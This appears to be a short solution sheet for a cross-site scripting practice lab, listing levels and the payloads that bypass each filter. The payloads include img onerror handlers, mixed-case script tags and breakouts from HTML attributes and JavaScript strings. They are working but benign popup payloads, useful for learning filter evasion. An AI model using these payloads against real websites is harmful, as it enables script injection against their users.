00: Supposed to be safe

10: Basic HTMLi XSS
Anything goes here, there is no protection

11: 
Here we introduced a filter to stop script and alert
Solution: <img src=x onerror=confirm()>
Solution: <sCript>confirm()</sCript>

12:
Here we added confirm to our filter
Solution: <img src=x onerror=prompt()>
Solution: <sCript>prompt()</sCript>

13:
Here we put your input to lowercase before sanitising it, making <sCript>prompt()</sCript> no longer a valid bypass
Solution: <img src=x onerror=prompt()>


30: HTML tag attribute XSS
We can see a new input tag appearing on the page upon submitting a value
We can break out with
Solution: '><img src=x onerror=alert()>

40: JS XSS
We can see a new script appearing on the page upon submitting a value
This does a document.write('')
We can break out with
Solution: ');alert();//